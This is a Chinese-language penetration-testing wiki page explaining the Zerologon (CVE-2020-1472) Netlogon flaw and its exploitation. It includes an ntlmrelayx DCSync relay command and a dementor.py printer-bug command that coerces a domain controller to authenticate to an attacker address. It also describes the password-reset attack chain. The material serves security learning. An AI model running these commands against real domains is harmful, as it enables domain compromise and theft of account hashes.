Zerologon

1. 介绍

Netlogon 是一个用于验证登录请求、注册、认证和定位域控制器的服务。MS-NRPC(Netlogon Remote Protocol)是该服务中的一个 RPC 接口认证机制。MS-NRPC 主要用于维护计算机与其域之间的关系,以及域控制器(DC)和域之间的关系。

CVE-2020-1472 的研究发现,MS-NRPC 在与域控制器建立 Netlogon 安全通道连接时,使用了自定义且不安全的加密协议(即在 AES-CFB8 模式下复用了已知的、静态的、全零的初始化向量(IV)),从而导致了权限提升漏洞。

在最初的利用场景(“密码重置”场景)中,有许多关键概念需要理解

  1. 概念1:通过 MS-NRPC 认证时使用 AES-CFB8。这意味着在 256 种可能性中,有 1 种情况下,如果 IV 和明文都是全零字节,每个密文块也都会是 \x00 字节。
  2. 概念2:MS-NRPC 认证使用的是静态且为全零的 IV(即全为 \x00 字节,这部分验证了概念1)。
  3. 概念3:MS-NRPC 的签名和加密(sealing)并不依赖于同样的易受攻击机制,而且是可选的,可以忽略。
  4. 概念4:机器账户拥有无限次登录尝试,因此结合概念1和2(使用全零明文并进行足够多的尝试),可以实现认证绕过和这些账户的伪造。
  5. 概念5:可以使用 NetrServerPasswordSet2 调用来重置账户密码。该调用中需要提供的新密码结构,必须用概念1和2中提到的同样易受攻击的机制加密。
  6. 概念6:密码结构可以全部填充为 \x00 字节,从而将目标账户的密码设置为长度为0的新密码。
  7. 概念7:可以将上述所有概念串联起来,重置域控制器的密码,并获得域管理员权限。

2. 利用

在漏洞公开后不久,Dirk-jan 展示了另一种利用该漏洞的方式。这种技术依赖于认证中继,直接执行 DCSync 操作,因此不会影响服务的连续性。

为了实施该攻击,可以使用 Impacket 的 ntlmrelayx

ntlmrelayx -t dcsync://$domain_controller_2 -smb2support

当中继服务器启动并运行,等待接收流量时,攻击者需要诱使域控制器的身份验证(或来自具有足够权限的其他账户)。实现这一目标的一种方法就是依赖于打印机漏洞

dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1

2.1. 注意

危险性

这种技术可能会破坏域的复制服务,从而导致严重的业务中断,因此不建议运行以下“密码重置”技术。

该利用场景会更改 Active Directory 中域控制器计算机账户的 NT 哈希,但不会更改本地 SAM 数据库中的哈希,因此会在 Active Directory 域中造成一些问题。为了尽量减少破坏,攻击者可以尝试在利用 CVE 漏洞之前,先获取域控制器账户的 NT 哈希,然后在 Active Directory 中将其恢复为原值。